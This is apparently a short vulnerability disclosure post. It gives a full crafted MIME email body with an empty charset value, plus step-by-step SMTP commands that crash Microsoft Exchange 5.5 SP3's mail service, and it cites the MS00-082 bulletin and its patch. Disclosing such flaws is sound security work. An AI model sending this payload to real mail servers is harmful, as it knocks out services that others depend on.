The following body of the e-mail message causes Microsoft Exchange 5.5 SP3 Internet Mail Service and Information Store to crash Refer to Microsoft Security Bulletin (MS00-082) (http://www.microsoft.com/technet/security/bulletin/ms00-082.asp). Patch is available here: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25443. The source of the problem is charset = "" Body: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="=_ Boundary 1-KTwEv4jY84Hk" --=_ Boundary 1-KTwEv4jY84Hk Content-Type: text/plain; charset = "" Content-Transfer-Encoding: 7bit This message is test --=_ Boundary 1-KTwEv4jY84Hk-- Scenario: 1) Connect to 25th port of server (SMTP) 2) Enter (paste) following text: HELO MAIL FROM: myself@myserver.com RCPT TO: administrator DATA 3) Now paste the body I gave 4) Type . (that is Enter-dot-Enter) 5) Type quit 6) Wait a little, and try to connect to 25th port again to verify - it shouldn't work. -- Art Savelev http://www.savelev.com